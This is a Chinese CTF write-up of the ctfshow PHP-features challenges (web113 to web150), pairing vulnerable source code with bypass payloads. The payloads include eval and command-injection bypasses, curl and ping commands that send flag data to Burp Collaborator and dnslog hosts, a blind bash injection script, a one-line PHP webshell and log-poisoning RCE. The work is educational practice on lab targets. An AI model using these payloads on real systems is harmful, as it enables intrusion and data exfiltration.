目录

web113

web114

web115

web123(php解析特性)

web125

web126

web127(php解析特性)

web128

web129

web130

web131

web132

web133

web134

web135

web136(tee命令写入命令执行)

web137

web138

web139

web140

web141

web142

web143

web144

web155

web146

web147

web148

web149

web150

web150_plust


web113

function filter($file){if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!');}else{return $file;}
}
$file=$_GET['file'];
if(! is_file($file)){highlight_file(filter($file));

?file=compress.zlib://flag.php

还有一种绕过是:

/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/p
roc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/pro
c/self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/
self/root/proc/self/root/proc/self/root/proc/self/root/proc/self/root/proc/se
lf/root/proc/self/root/var/www/html/flag.php

解释可以看一下这个:[CTF]proc目录的应用_Snakin_ya的博客-CSDN博客

web114

if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){die('hacker!'); 

compress和root和convert,之前的骚操作被过滤了。不过filter这次没过滤。

直接?file=php://filter/resource=flag.php

web115

function filter($num){$num=str_replace("0x","1",$num);$num=str_replace("0","1",$num);$num=str_replace(".","1",$num);$num=str_replace("e","1",$num);$num=str_replace("+","1",$num);return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){if($num=='36'){echo $flag;}else{echo "hacker!!";} 

测试

php
<?php //来自羽师傅
for (i=0; i <128 ; $i++) { x=chr(i).'1'; if(is_numeric($x)==true){ echo urlencode(chr($i))."\n"; } }
// %09 %0A %0B %0C %0D + %2B - . 0 1 2 3 4 5 6 7 8 9

trim()函数不过滤 %0c

因此构造payload:

?num%0c36
%0c==\f

web123(php解析特性)

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;} 

CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

这就特别疑惑,自己想的时候想不出来,看结果可以看出来,还是思路不够广,总结一下扩展一下思路。这道题并不需要我们满足那个$f10g来echo $flag; 这是个坑。在其上面还有一个eval($c.';')

这样的危险函数,如果我们$c= echo $flag的话也能符合坑的情况。所以我们运用引用传递,来给$c 也就是post的fun,同时满足$_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM']。

因此构造payload:CTF_SHOW=&CTF_SHOW.COM=&fun=echo $flag

但是没有回显,看其他师傅博客得知原因是因为变量里面有个点。

在php中变量名只有数字字母下划线,被get或者post传入的变量名,如果含有空格、+、[则会被转化为_,所以按理来说我们构造不出CTF_SHOW.COM这个变量(因为含有.),但php中有个特性就是如果传入[,它被转化为_之后,后面的字符就会被保留下来不会被替换

出现了[之后php就会去找],如果找到了那就是数组,没有找到就被被解析成_

所以payload为:CTF_SHOW=&CTF[SHOW.COM=&fun=echo $flag

[PHP内核]PHP内核学习(四)------回答PHP的字符串解析特性Bypass([、空格被解析为_,[[只将第一个[解析为_)

web125

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){eval("$c".";");if($fl0g==="flag_give_me"){echo $flag;}}

这道题在web123的基础上,又多了过滤flag,echo,GLOBALS等。上一道题的姿势用不了了。

看题解是又换了一种姿势。

GET:?1=flag.php

POST:CTF_SHOW=&CTF[SHOW.COM=&fun=highlight_file($_GET[1])

涨知识了。

web126

include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){eval("$c".";");  if($fl0g==="flag_give_me"){echo $flag;}

这道题又过滤了 g i f c o d

highlight_file()用不了了。

GET:?a=1+fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=parse_str($a[1])
or
GET:?$fl0g=flag_give_me
POST:CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

web127(php解析特性)

include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];//特殊字符检测
function waf($url){if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){return true;}else{return false;}
}if(waf($url)){die("嗯哼?");
}else{extract($_GET);
}if($ctf_show==='ilove36d'){echo $flag;

extrace()函数存在变量覆盖,因此要绕过waf($url),执行extract()。所以

构造payload:?ctf show=ilove36d

$_SERVER['argv'][0] = $_SERVER['QUERY_STRING']
query string是Uniform Resource Locator (URL)的一部分, 其中包含着需要传给web application的数据<?php
$a=$_SERVER['argv'];
var_dump($a);

举例:?a=2,就会变成$a=2

哦,然后题目最后要$ctf_show = ilove36d 如果直接ctf_show的话,_无法绕过waf。

然而当传入ctf show=ilove36d时,就会变成 $ctf_show=ilove36d,满足要求

之前php解析特性提到,空格 + [ 会被替换成下划线,这里过滤了+和[ 没过滤空格

web128

include("flag.php");
highlight_file(__FILE__);$f1 = $_GET['f1'];
$f2 = $_GET['f2'];if(check($f1)){var_dump(call_user_func(call_user_func($f1,$f2)));
}else{echo "嗯哼?";
}function check($str){return !preg_match('/[0-9]|[a-z]/i', $str); 

小知识点: _()是一个函数

_()==gettext() 是gettext()的拓展函数,开启text扩展。需要php扩展目录下有php_gettext.dll

get_defined_vars()函数

get_defined_vars — 返回由所有已定义变量所组成的数组 这样可以获得 $flag

payload: ?f1=_&f2=get_defined_vars

get_defined_vars ( void ) : array 函数返回一个包含所有已定义变量列表的多维数组,这些变量包括环境变量、服务器变量和用户定义的变量。

内部操作
var_dump(call_user_func(call_user_func($f1,$f2)));
var_dump(call_user_func(call_user_func(_,'get_defined_vars')));
var_dump(call_user_func(get_defined_vars));//输出数组

web129

highlight_file(__FILE__);
if(isset($_GET['f'])){$f = $_GET['f'];if(stripos($f, 'ctfshow')>0){echo readfile($f);}
}

考察: 目录穿越

stripos() 函数查找字符串在另一字符串中第一次出现的位置(不区分大小写)

这里意思是ctfshow出现的位置大于0就会读取文件

payload: /ctfshow/../../../../var/www/html/flag.php

查看源代码获得 flag

web130

if(isset($_POST['f'])){$f = $_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f, 'ctfshow') === FALSE){die('bye!!');}echo $flag;

f不是是****ctfshow  前面不能有东西。

直接绕过正则表达式: f=ctfshow

看其他师傅博客解释说:

FALSE那里因为是强比较,所以ctfshow就算在开头值也是0而不是FALSE,而如果是弱比较的会就会进入die(‘bye!!’);

web131

include("flag.php");
if(isset($_POST['f'])){$f = (String)$_POST['f'];if(preg_match('/.+?ctfshow/is', $f)){die('bye!');}if(stripos($f,'36Dctfshow') === FALSE){die('bye!!');}echo $flag;

这个现在是130的升级版。ctfshow前面有东西了

考察正则表达式的整形溢出:深悉正则(pcre)最大回溯/递归限制 - 风雪之隅

在php中正则表达式进行匹配有一定的限制,超过限制直接返回false

正则的最大回溯:

PHP 为了防止正则表达式的拒绝服务攻击(reDOS),给 pcre 设定了一个回溯次数上限 pcre.backtrack_limit
    回溯次数上限默认是 100 万。如果回溯次数超过了 100 万,preg_match 将不再返回非 1 和 0,而是 false

#payload:
<?php
echo str_repeat('very', '250000').'36Dctfshow';
#post发送过去就OK

也可以利用python脚本发包:

import requestsurl="http://7d146221-2225-4466-88a1-45febe4aeba3.challenge.ctf.show/"
r=requests.session()
data={'f' : "aaaa"*250000+"36Dctfshow"
}
res=r.post(url,data=data)
print(res.text)

web132

一进去是个博客的页面,刚开始我还以为进错了。后来发现不是,在/robots下发现/admin

访问后得到一段代码:

if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){$username = (String)$_GET['username'];$password = (String)$_GET['password'];$code = (String)$_GET['code'];if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){if($code == 'admin'){echo $flag;}}
} 

考察php中&&和||运算符应用:(php运算符优先级 ||优先级低于&&)

对于“与”(&&) 运算: x && y 当x为false时,直接跳过,不执行y; 对于“或”(||) 运算 : x||y 当x为true时,直接跳过,不执行y。

构造payload: ?username=admin&password=admin&code=admin

if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin")

第一个$code === mt_rand(1,0x36D)为false,之后就执行|| $username ==="admin"#成功绕
过,之后code=="admin" 得到flag。

web133

Firebasky出的题,博客在这里:命令执行的骚操作

highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){eval(substr($F,0,6));}else{die("6个字母都还不够呀?!");}

我们传递?F=`$F`;+sleep 3 好像网站确实sleep了一会说明执行了命令
那为什么会这样:
因为是我们传递的`$F`;+sleep 3。先进行substr()函数截断然后去执行eval()函数
eval函数的作用是执行php代码,``是shell_exec()函数的缩写,然后就去命令执行。
而$F就是我们输入的`$F`;+sleep 3 使用最后执行的代码应该是
``$F`;+sleep 3`,就执行成功
有点类似与套娃。。

利用curl去带出flag.php
curl -F 将flag文件上传到Burp的 Collaborator Client ( Collaborator Client 类似DNSLOG,其功能要比DNSLOG强大,主要体现在可以查看 POST请求包以及打Cookies)

这里借用一下其他师傅的图片介绍:

payload:
其中-F 为带文件的形式发送post请求
xx是上传文件的name值,flag.php就是上传的文件
?F=`$F`;+curl -X POST -F xx=@flag.php http://at7jhk8y78iyi0rfdp2ye37f66cz0o.burpcollaborator.net

得到flag。

web134

$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {die(file_get_contents('flag.php'));
}

extract()函数存在变量覆盖。

extract() 函数从数组中将变量导入到当前的符号表。

该函数使用数组键名作为变量名,使用数组键值作为变量值。针对数组中的每个元素,将在当前符号表中创建对应的一个变量。

parse_str() 函数把查询字符串解析到变量中。

注释:如果未设置 array 参数,由该函数设置的变量将覆盖已存在的同名变量。

注释:php.ini 文件中的 magic_quotes_gpc 设置影响该函数的输出。如果已启用,那么在 parse_str() 解析之前,变量会被 addslashes() 转换。

extract($_POST); 进行解析$_POST数组。 先将GET方法请求的解析成变量,然后在利用extract() 函数从数组中将变量导入到当前的符号表。

所以payload: ?_POST[key1]=36d&_POST[key2]=36d

查看源码,得到flag。

web135

web133的plus版

highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){eval(substr($F,0,6));}else{die("师傅们居然破解了前面的,那就来一个加强版吧");}
}

有限制写文件,直接在文件系统里写 。然后访问/文件即可

?F=`$F` ;cp flag.php 2.txt;
?F=`$F` ;uniq flag.php>4.txt;

payload:?F=`$F `;ping `awk '/flag/' flag.php`.9z604r.dnslog.cn
`$F`;+ping `cat flag.php|awk 'NR==2'`.6x1sys.dnslog.cn
#通过ping命令去带出数据,然后awk NR一排一排的获得数据

羽师傅的W里提到了ping方法。就是通过ping来得到命令执行的结果,应对命令执行无回显又有一种新姿势了。不过据说在135题这个环境不行,在133题的环境里可以。

利用ping的原理就是DNS请求:

如果请求的目标不是ip地址而是域名,那么域名最终还要转化成ip地址,就肯定要做一次域名解析请求。那么假设我有个可控的二级域名,那么它发出三级域名解析的时候,我这边是能够拿到它的域名解析请求的,这就相当于可以配合DNS请求进行命令执行的判断,这一般就被称为dnslog。(要通过dns请求即可通过ping命令,也能通过curl命令,只要对域名进行访问,让域名服务器进行域名解析就可实现)

web136(tee命令写入命令执行)

<?php
error_reporting(0);
function check($x){if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){die('too young too simple sometimes naive!');}
}
if(isset($_GET['c'])){$c=$_GET['c'];check($c);exec($c);
}
else{highlight_file(__FILE__);
}

?c=ls / | tee 1  文件写入命令,进行命令执行。访问1,下载的文件记事本打开得到flag文件名。

f149_15_h3r3  再写入命令执行即可。

web137

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{function __wakeup(){die("private class");}static function getFlag(){echo file_get_contents("flag.php");}
}call_user_func($_POST['ctfshow']);

call_user_func这个回调函数的简单使用:ctfshow=ctfshow::getFlag

查看源码得到flag。

知道知识点的话是没有难度的一道题,考察调用类中的函数

拓展

php中 ->与:: 调用类中的成员的区别
->用于动态语境处理某个类的某个实例
::可以调用一个静态的、不依赖于其他初始化的类方法.

也就是说双冒号可以不用实例化类就可以直接调用类中的方法

之前确实没遇到过这种情况,涨知识了。

web138

在上一题的基础上过滤了冒号
但是call_user_func中不但可以传字符串也可以传数组。

PHP函数详解:call_user_func()使用方法_完美世界的一天的博客-CSDN博客_call_user_func php

例如:

call_user_func(array($classname, 'say_hello'));
这时候会调用 classname中的 say_hello方法

因此构造payload?ctfshow[0]=ctfshow&ctfshow[1]=getFlag

web139

代码和136一样,不过限制了写文件的权利。。。

看yu师傅博客,采用的的是盲打脚本(不过不知道为什么yu师傅的脚本跑不了):

CTFSHOW PHP特性篇 (下篇132-150)_yu22x的博客-CSDN博客_ctfshow的php特性

CTFshow php特性 web136_Kradress的博客-CSDN博客

发现 ‘’ 和 “” 没被过滤,可以绕过关键词,当时无回显的话,可以用bash盲注

payload = "if [ ` ls / | awk 'NR==4'  |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)
payload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char)

import requests
import time as t
from urllib.parse import quote as urlenurl = 'http://0248549c-9b75-4862-8e88-b9c5d2caea32.challenge.ctf.show/?c='
alphabet = ['{', '}', '.', '/', '@', '-', '_', '=', 'a', 'b', 'c', 'd', 'e', 'f', 'j', 'h', 'i', 'g', 'k', 'l', 'm','n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H','I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z', '0', '1', '2','3', '4', '5', '6', '7', '8', '9']result = ''
for i in range(1, 100):for char in alphabet:# payload = "if [ ` ls / | awk 'NR==4'  |cut -c{}` = '{}' ];then sleep 5;fi".format(i,char) #flag.phppayload = "if [ `cat /f149_15_h3r3 | awk 'NR==1' |cut -c{}` = '{}' ];then sleep 5;fi".format(i, char)# data = {'cmd':payload}try:start = int(t.time())r = requests.get(url + payload)# r = requests.post(url, data=data)end = int(t.time()) - start# print(i,char)if end >= 3:result += charprint("Flag: " + result)breakexcept Exception as e:print(e)

后面自动补上{}即可。

web140

if(isset($_POST['f1']) && isset($_POST['f2'])){$f1 = (String)$_POST['f1'];$f2 = (String)$_POST['f2'];if(preg_match('/^[a-z0-9]+$/', $f1)){if(preg_match('/^[a-z0-9]+$/', $f2)){$code = eval("return $f1($f2());");if(intval($code) == 'ctfshow'){echo file_get_contents("flag.php");}} 

intval($code)为0就可以了
intval会将非数字字符转换为0,也就是说 intval('a')==0 intval('.')==0 intval('/')==0
所以方法就挺多了

md5(phpinfo())

usleep(usleep())
md5(sleep())
md5(md5())
current(localeconv)  // .
sha1(getcwd())     因为/var/www/html md5后开头的数字所以我们改用sha1

web141

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/^\W+$/', $v3)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}

/^\W+$/ 作用是匹配非数字字母下划线的字符

return怎么绕过。
大家可以看下下面的示例

eval("return 1;phpinfo();");  //无法执行phpinfo();

php中有个有意思的地方,数字是可以和命令进行一些运算的,例如 1-phpinfo();是可以执行phpinfo()命令的。

因此可以 1-phpinfo()-1;来绕过return。传入v1=1&v2=1

至于v3,可以用yu师傅的取反脚本来构造无字母数字绕过rce

system('ls');   //(~%8C%86%8C%8B%9A%92)(~%93%8C);

system('cat flag.php'); //(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F);

查看源码得到flag。

web142

if(isset($_GET['v1'])){$v1 = (String)$_GET['v1'];if(is_numeric($v1)){$d = (int)($v1 * 0x36d * 0x36d * 0x36d * 0x36d * 0x36d);sleep($d);echo file_get_contents("flag.php");} 

v1=0.让他睡0秒。查看源码得到flag。

0和0x0绕过 这里绕过因为是因为当成了8进制和16进制

web143

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\+|\-|\.|\_|\||\$|\{|\}|\~|\%|\&|\;/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;} 

141的进阶版。过滤了一些字符。取反被过滤了。可以用异或来进行rce。

无字母数字绕过正则表达式总结(含上传临时文件、异或、或、取反、自增脚本)_yu22x的博客-CSDN博客

system('ls');  // ("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%0c%0c"^"%60%7f")

system('cat flag.php'); //("%0c%06%0c%0b%05%0d"^"%7f%7f%7f%7f%60%60")("%03%01%0b%00%06%0c%01%07%01%0f%08%0f"^"%60%60%7f%20%60%60%60%60%2f%7f%60%7f")

web144

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && check($v3)){if(preg_match('/^\W+$/', $v2)){$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}}
}function check($str){return strlen($str)===1?true:false;

相比上两道题,这里只判断了is_numeric($v1)和check($v3).

可传入 ?v1=1&v3=-&v2=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F); //system('cat flag.php');

查看源码,得到flag。

web155

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;}} 

这里+-*/都被过滤了。考察了三目运算符。

三目运算符的妙用
小测试

eval("return 1?phpinfo():1;");

可以执行phpinfo();

在上一题的基础上稍微更改一下payload:

?v1=1&v2=1&v3=?(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F):

查看源码得到flag。

web146

if(isset($_GET['v1']) && isset($_GET['v2']) && isset($_GET['v3'])){$v1 = (String)$_GET['v1'];$v2 = (String)$_GET['v2'];$v3 = (String)$_GET['v3'];if(is_numeric($v1) && is_numeric($v2)){if(preg_match('/[a-z]|[0-9]|\@|\!|\:|\+|\-|\.|\_|\$|\}|\%|\&|\;|\<|\>|\*|\/|\^|\#|\"/i', $v3)){die('get out hacker!');}else{$code =  eval("return $v1$v3$v2;");echo "$v1$v3$v2 = ".$code;} 

又增加了分号的过滤,所以我们没法用三目运算符了,这时候想到了等号和位运算符

例如:eval("return 1==phpinfo()||1;");

?v1=1&v2=1&v3===(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)||

?v1=1&v2=1&v3=|(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%99%93%9E%98%D1%8F%97%8F)| 也可以

web147

if(isset($_POST['ctf'])){$ctfshow = $_POST['ctf'];if(!preg_match('/^[a-z0-9_]*$/isD',$ctfshow)) {$ctfshow('',$_GET['show']);}

考察点:create_function()代码注入

create_function('$a','echo $a."123"')

类似于

function f($a) {
  echo $a."123";
}

那么如果我们第二个参数传入 echo 1;}phpinfo();//
就等价于

function f($a) {
  echo 1;

}phpinfo(); //}
从而执行phpinfo()命令

存在任意命令执行。

看yu师傅说%5c可以绕过这个正则表达式。

原因可以看:Code Breaking 挑战赛 Writeup

因此构造payload:

get:?show=;}system('grep flag flag.php');//

post: ctf=%5cctfshow=create_function

得到flag。

web148

include 'flag.php';
if(isset($_GET['code'])){$code=$_GET['code'];if(preg_match("/[A-Za-z0-9_\%\\|\~\'\,\.\:\@\&\*\+\- ]+/",$code)){die("error");}@eval($code);
}
else{highlight_file(__FILE__);
}function get_ctfshow_fl0g(){echo file_get_contents("flag.php");
}

没有过滤^,所以直接异或构造就可以了.

?code=("%08%02%08%09%05%0d"^"%7b%7b%7b%7d%60%60")("%09%01%03%01%06%02"^"%7d%60%60%21%60%28");

预期解是用中文变量:

?code=$哈="`{{{"^"?<>/";${$哈}[哼](${$哈}[嗯]);&哼=system&嗯=tac f*

原理:"{{{"^"?<>/"; 异或出来的结果是 _GET

web149

$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}}
}file_put_contents($_GET['ctf'], $_POST['show']);$files = scandir('./');
foreach($files as $file) {if(is_file($file)){if ($file !== "index.php") {unlink($file);}} 

非预期,直接往index.php里面写一句话

ctf=index.php
show=<?php eval($_POST[1]);?>

预期解 条件竞争:

ctf=1.php
show=<?php system('tac /c*');?>

使用bp intruder模块不断访问并传参,并开一个去不断访问 1.php

根目录下发现flag文件ctfshow_fl0g_here.txt

post:shell=system('cat /ctfshow_fl0g_here.txt');得到flag。

web150

include("flag.php");
error_reporting(0);
highlight_file(__FILE__);class CTFSHOW{private $username;private $password;private $vip;private $secret;function __construct(){$this->vip = 0;$this->secret = $flag;}function __destruct(){echo $this->secret;}public function isVIP(){return $this->vip?TRUE:FALSE;}}function __autoload($class){if(isset($class)){$class();}
}#过滤字符
$key = $_SERVER['QUERY_STRING'];
if(preg_match('/\_| |\[|\]|\?/', $key)){die("error");
}
$ctf = $_POST['ctf'];
extract($_GET);
if(class_exists($__CTFSHOW__)){echo "class is exists!";
}if($isVIP && strrpos($ctf, ":")===FALSE){include($ctf);
} 

非预期解:

文件包含日志注入rce。

burp抓包,User-Agent :写入木马

get:?isVIP=1

post:ctf=/var/log/nginx/access.log&shell=system('cat f*');

web150_plust

这道题修复了日志注入的非预期解:

没干出来。知识点储备不够,以后会回过头来看一下。

至此php特性这一篇也算是刷完了。学会了好多没见过的绕过姿势。记录下来掌握住,然后继续开启学习新的篇章。

ctfshow php特性 下相关推荐

  1. CTFshow——PHP特性(下)

    目录: web132--逻辑运算符的优先级 web133--curl -F web134--php变量覆盖 web135-- >xx.txt 写文件 web136-- tee命令 web137- ...

  2. CTFshow php特性 web129

    目录 源码 思路 题解 解法一 解法二 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11: ...

  3. rhel6系统中,mysql 5.6复制新特性下主从复制配置[基于GTID]

    1.mysql5.6在复制方面的新特性: (1).支持多线程复制:事实上是针对每个database开启相应的独立线程,即每个库有一个单独的(sql thread).针对这样的改进,如果我们想实现多线程 ...

  4. ctfshow php特性(89——150plus)

    web89 这题的逻辑是如果存在$_GET['num'],则用正则表达式匹配$num中的值,如果成功匹配则程序终止于"no no no",否则进行下一步,如果intval($num ...

  5. ctfshow php特性 web89-web115 web123-150wp

    php特性 参考博客仍然是南神博客 文章目录 php特性 web89 web90 web91 web92 web93 web94 web95 web96 web97 web98 web99 web10 ...

  6. CTFshow php特性 web150plus

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  7. CTFshow php特性 web147

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

  8. CTFshow php特性 web136

    目录 源码 思路 题解 解法1 解法2 解法3 总结 源码 <?php error_reporting(0); function check($x){if(preg_match('/\\$|\. ...

  9. CTFshow php特性 web131

    目录 源码 思路 题解 总结 源码 <?php/* # -*- coding: utf-8 -*- # @Author: h1xa # @Date: 2020-10-13 11:25:09 # ...

最新文章

  1. 玩转 iOS 开发:《iOS 设计模式 — 工厂模式》
  2. 新到DELL M1000e 刀片服务器
  3. kotlin开发经验谈3
  4. resin管理后台登录配置
  5. #HTTP协议学习# (五)压缩
  6. Pimple - 一个简单的 PHP 依赖注入容器
  7. docker 容器重命名
  8. Web前端遍历对象应该如何操作呢?
  9. Java商品信息查询
  10. HTTP协议和NDS服务器
  11. javascript全栈开发实践-web-7
  12. python模拟登陆遇到重定向_python - scrapy模拟登陆知乎出现重定向无法登陆问题
  13. hdu 2222 Keywords Search AC自动机——多串匹配
  14. 途家民宿4月26日后停止20城直营业务
  15. java 方法调用表达式_java lambda怎么表达式判断被调用接口名称和接口中方法
  16. 如何利用systrace分析Android App的死锁问题
  17. springcloud之eureka集群搭建
  18. linux gnu编译器下载,GNU Compiler Collection(gcc编译器)下载_GNU Compiler Collection(gcc编译器)官方下载-太平洋下载中心...
  19. 解决:cannot deserialize from Object value (no delegate- or property-based Creator)
  20. PE装机工具-U深度制作

热门文章

  1. python打印五子棋棋盘(简易)
  2. java五子棋小程序棋盘的绘制
  3. 短距离无线电测向的基本方法和基本技术,可归纳为下列几个方面:
  4. python学习基础篇Day08(P85~~95)
  5. springboot+vue3+elementui plus汽车租赁网站源码
  6. 递归:以俄罗斯跳棋为例
  7. 【JavaWeb】《JSP程序设计与案例实战》读书笔记
  8. 基于Java毕业设计一起组局校园交友平台源码+系统+mysql+lw文档+部署软件
  9. Microsoft onenote 2003 下载
  10. 温江计算机大专学校有哪些,四川温江理工计算机学院录取分数线